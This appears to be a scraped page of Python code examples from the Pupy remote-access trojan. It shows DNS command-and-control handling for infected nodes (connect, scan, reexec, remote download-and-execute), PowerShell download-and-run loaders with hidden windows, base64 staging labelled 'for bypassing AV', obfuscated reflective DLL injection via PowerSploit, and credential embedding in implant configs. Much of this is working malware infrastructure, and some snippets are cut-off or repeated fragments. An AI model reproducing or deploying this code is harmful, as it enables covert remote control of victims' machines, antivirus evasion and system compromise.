                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        try:
            count = server.dnscnc.connect(host=args.host,
                                          port=args.port,
                                          transport=args.transport,
                                          node=args.node,
                                          default=args.default)
        except Exception, e:
            handler.display(Error(e))
            return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))
Example #22
0
        traceback.print_exc()
        return

    if not output and 'oneliner' not in args.format:
        handler.display(Error('payload generation failed'))
        return

    if server.httpd and output.startswith(wwwroot):
        wwwpath = os.path.relpath(output, wwwroot)
        if config.getboolean('httpd', 'secret'):
            wwwpath = '/'.join([
                config.get('randoms', 'wwwsecret', random=5)
            ] + [
                config.set('randoms', None, x, random=5) for x in wwwpath.split('/')
            ])

        handler.display(Success('WWW URI PATH: /{}'.format(wwwpath)))
        host="<host:port>"
        try:
            for i in range(0,len(args.launcher_args)):
                if args.launcher_args[i]=="--host":
                    host=args.launcher_args[i+1]
                    break
        except:
            pass

        if args.format=='py':
            handler.display(Success("ONELINER: python -c 'import urllib;exec urllib.urlopen(\"http://{}/{}\").read()'".format(host, wwwpath)))
        elif args.format=='ps1':
            handler.display(Success("ONELINER: powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://{}/{}')\"".format(host, wwwpath)))
Example #23
0
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'EIP':
                session.system_info['external_ip'] or '?',
                'IIP':
                session.system_info.get('internal_ip') or '',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM',
            'LIS', 'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'INTERNAL IP': '{}'.format(
                    session.system_info.get('internal_ip') or ''
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP',
            'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        # try:
        count = server.dnscnc.connect(args.host,
                                      args.port,
                                      args.transport,
                                      args.fronting,
                                      node=args.node,
                                      default=args.default)
        # except Exception, e:
        #     handler.display(Error(e))
        #     return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node,
                                           default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(args.host,
                                   args.first,
                                   args.last or args.first,
                                   node=args.node,
                                   default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule scan request to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'disconnect':
        count = server.dnscnc.disconnect(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule disconnect to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'exit':
        count = server.dnscnc.exit(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule exit to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'reexec':
        count = server.dnscnc.reexec(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule reexec to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'sleep':
        count = server.dnscnc.sleep(args.timeout,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'proxy':
        count = server.dnscnc.proxy(args.uri,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule proxy to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'dexec':
        count = server.dnscnc.dexec(args.url,
                                    args.action,
                                    proxy=args.proxy,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'pastelink':
        try:
            create = None
            output = None

            if args.create:
                create = args.create
            elif args.create_content:
                create, output = args.create_content

            count, url = server.dnscnc.pastelink(content=create,
                                                 output=output,
                                                 url=args.url,
                                                 action=args.action,
                                                 node=args.node,
                                                 default=args.default,
                                                 legacy=args.legacy)

            if output:
                return

            if count:
                handler.display(
                    Success('Schedule exit to {} known nodes'.format(count)))
            elif args.node:
                handler.display(Error('Node {} not found'.format(args.node)))

        except ValueError as e:
            handler.display(Error('{}'.format(e)))

    elif args.command == 'extra':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Error('No sessions found'))
            return
        elif len(sessions) > 1:
            handler.display(Error('Selected more than one sessions'))
            return

        session = sessions[0]

        if session.online_status:
            handler.display('\nONLINE STATUS\n')
            objects = [{
                'KEY':
                Color(k.upper().replace('-', ' '),
                      'green' if session.online_status[k] else 'lightyellow'),
                'VALUE':
                Color(
                    str(session.online_status[k]).upper(),
                    'green' if session.online_status[k] else 'lightyellow')
            } for k in [
                'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http',
                'https', 'https-no-cert', 'https-mitm', 'proxy',
                'transparent-proxy', 'stun', 'mintime', 'ntp-offset'
            ]]

            handler.display(Table(objects, ['KEY', 'VALUE']))

            handler.display('\nPASTES STATUS\n')
            objects = [{
                'KEY': Color(k, 'green' if v else 'lightyellow'),
                'VALUE': Color(v, 'green' if v else 'lightyellow')
            } for k, v in session.online_status['pastebins'].iteritems()]
            handler.display(Table(objects, ['KEY', 'VALUE']))

            session.online_status = None

        if session.egress_ports:
            handler.display('\nEGRESS PORTS: {}\n'.format(','.join(
                str(x) for x in session.egress_ports)))
            session.egress_ports = set()

        if session.open_ports:
            handler.display('\nOPEN PORTS\n')
            objects = [{
                'IP': str(ip),
                'PORTS': ','.join(str(x) for x in ports)
            } for ip, ports in session.open_ports.iteritems()]
            handler.display(Table(objects, ['IP', 'PORTS']))
            session.open_ports = {}
Example #24
0
                                             shell=True)
        except subprocess.CalledProcessError, e:
            self.display(
                Error(
                    'Impossible to generate {0} file with encoder: {1}'.format(
                        self.rubberDuckyBinFilename, repr(e.output))))

        except Exception, e:
            self.display(
                Error(
                    'Impossible to generate {0} file with encoder: {1}'.format(
                        self.rubberDuckyBinFilename, repr(e))))
            return False

        else:
            self.display(Success('Encoder output: {0}'.format(output)))
            self.display(
                Success('{0} has been created'.format(
                    repr(self.rubberDuckyBinFilename))))
            return True

    def __loadRubberDuckyConf__(self):
        '''
        '''

        self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path')
        self.keyboardLayoutPath = self.pupy_conf.get(
            'rubber_ducky', 'default_keyboard_layout_path')

        if self.encoderPath == 'TO_FILL':
            self.unconfigured = True
Example #25
0
            return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node,
                                           default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(args.host,
                                   args.first,
                                   args.last or args.first,
                                   node=args.node,
                                   default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
Example #26
0
parser.add_argument('search', default='', nargs='?', help='Keyword to search')

def do(server, handler, config, modargs):
    try:
        credentials = Credentials(config=config)
    except Exception, e:
        handler.display(Error(e))
        return

    clients = server.get_clients_list()

    cids = None

    if modargs.delete_db:
        credentials.remove()
        handler.display(Success('DB deleted'))
        return

    if not modargs.all:
        cids = set([
            client.short_name() for client in clients
        ])
        cids.update([
            client.node() for client in clients
        ])

    categories = {}

    try:
        for item in credentials.display(search=modargs.search.decode('utf-8'), isSorted=modargs.sort):
            if item['category'] not in categories:
Example #27
0
def serve_ps1_payload(display,
                      server,
                      conf,
                      link_ip="<your_ip>",
                      useTargetProxy=False,
                      nothidden=False):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String($data));$data='';iex $code;"

    payload_url_x86 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x86]')

    payload_url_x64 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x64]')

    protocol = 'http'
    ssl_cert_validation = ''
    not_use_target_proxy = ''
    hidden = '-w hidden '

    if nothidden:
        hidden = ''

    if server.pupweb.ssl:
        protocol = 'https'
        ssl_cert_validation = '[System.Net.ServicePointManager]::'\
          'ServerCertificateValidationCallback={$true};'

    if not useTargetProxy:
        not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\
          '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

    powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\
      "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');"

    repls = {
        '[NOT_USE_TARGET_PROXY]': not_use_target_proxy,
        '[SSL_CERT_VALIDATION]': ssl_cert_validation,
        '[PROTOCOL]': protocol,
        '[LINK_IP]': '%s' % link_ip,
        '[LINK_PORT]': '%s' % server.pupweb.port,
    }

    for k, v in repls.iteritems():
        powershell = powershell.replace(k, v)

    launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64)
    launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86)

    # Compute stage1 to gain time response
    ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}"

    # For bypassing AV
    stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String('{0}'));iex $code;".format(
          b64encode(ps_template_stage1.format(launcher_x64, launcher_x86)))

    landing_uri = server.pupweb.serve_content(stage1,
                                              alias='ps1 payload loader')

    launcher = powershell.replace('[RANDOM]', landing_uri)
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List(
            [oneliner, encoded_oneliner],
            caption=Success(
                'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'
            )))

    display(
        Warn('Please note that even if the target\'s system uses a proxy, '
             'this previous powershell command will not use the '
             'proxy for downloading pupy'))
Example #28
0
def generate_ps1(display, conf, outpath=False, output_dir=False, both=False, x64=False, x86=False, as_str=False):

    SPLIT_SIZE = 100000
    x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""

    if both:
        code = """
        $PEBytes = ""
        if ([IntPtr]::size -eq 4){{
            {0}
            $PEBytesTotal = [System.Convert]::FromBase64String({1})
        }}
        else{{
            {2}
            $PEBytesTotal = [System.Convert]::FromBase64String({3})
        }}
        Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
        """ # {1} = x86dll, {3} = x64dll
    else:
        code = """
        {0}
        $PEBytesTotal = [System.Convert]::FromBase64String({1})
        Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
        """

    if both or x64:
        # generate x64 ps1
        binaryX64 = base64.b64encode(
            generate_binary_from_template(display, conf, 'windows', arch='x64', shared=True)[0])
        binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)]
        for i, aPart in enumerate(binaryX64parts):
            x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
            x64ConcatCode += "$PEBytes{0}+".format(i)
        display(Success('X64 dll loaded and {0} variables used'.format(i + 1)))

    if both or x86:
        # generate x86 ps1
        binaryX86 = base64.b64encode(
            generate_binary_from_template(display, conf, 'windows', arch='x86', shared=True)[0])
        binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
        for i, aPart in enumerate(binaryX86parts):
            x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
            x86ConcatCode += "$PEBytes{0}+".format(i)
        display(Success('X86 dll loaded and {0} variables used'.format(i + 1)))

    script = obfuscatePowershellScript(
        open(os.path.join(
            ROOT, "external", "PowerSploit",
            "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())

    # adding some more obfuscation
    random_name = ''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])
    script      = script.replace('Invoke-ReflectivePEInjection', random_name)
    code        = code.replace('Invoke-ReflectivePEInjection', random_name)

    payload = None

    if both:
        payload = "{0}\n{1}".format(
            script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]))
    elif x64:
        payload = "{0}\n{1}".format(script, code.format(x64InitCode, x64ConcatCode[:-1]))
    elif x86:
        payload = "{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1]))

    if as_str:
        return payload

    if not outpath:
        outfile = tempfile.NamedTemporaryFile(
            dir=output_dir or '.',
            prefix='pupy_',
            suffix='.ps1',
            delete=False
        )
    else:
        try:
            os.unlink(outpath)
        except:
            pass

        outfile = open(outpath, 'w+b')

    outpath = outfile.name
    outfile.write(payload)
    outfile.close()

    return outpath
Example #29
0
    def gen_exe(self, options=''):
        sourcepath = self.gen_source(random_path=True)

        if not self.outpath:
            outfile = os.path.join(
                self.output_dir or '.', 'pupy_' + ''.join(
                    random.choice(ascii_uppercase + ascii_lowercase)
                    for _ in range(8)) + '.exe')
        else:
            outfile = self.outpath

        try:
            command = ['mcs']

            if self.server:
                config = self.server.config
            else:
                from pupylib import PupyConfig
                config = PupyConfig()

            sdk = config.get('gen', 'mcs_sdk', 4)
            options = ' '.join(
                [options, config.get('gen', 'mcs_options', '') or ''])

            if options:
                command.extend(shlex.split(options))

            if not self.conf.get('debug', False):
                if '-target:' not in options:
                    command.append('-target:winexe')

                if '-debug' not in options:
                    command.append('-debug-')

                if '-optimize' not in options:
                    command.append('-optimize+')

            command.extend([
                '-unsafe', '-noconfig', '-sdk:{}'.format(sdk),
                '-OUT:{}'.format(outfile), sourcepath
            ])

            self.display(
                Success('compiling via mono command: {}'.format(
                    ' '.join(command))))

            try:
                output = subprocess.check_output(command).strip()
                if output:
                    self.display(output)

            except subprocess.CalledProcessError as e:
                self.display(
                    Error('Mono compilation failed: {}'.format(e.output)))
                return None

            except OSError:
                self.display(
                    Error(
                        "mcs compiler can't be found ... install mono-mcs package"
                    ))
                return None

        finally:
            os.unlink(sourcepath)

        return outfile
Example #30
0
def get_raw_conf(display, conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if "offline_script" not in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available, bullet=Color('+', 'green'),
        caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available, bullet=Color('-', 'red'),
            caption=Error('Required credentials (not found)')))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
        } for k,v in conf.iteritems() if v]

        display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye':
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf", "")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'DELAYS={}'.format(repr(conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""')
    ])

    return compress_encode_obfs(config) if obfuscate else config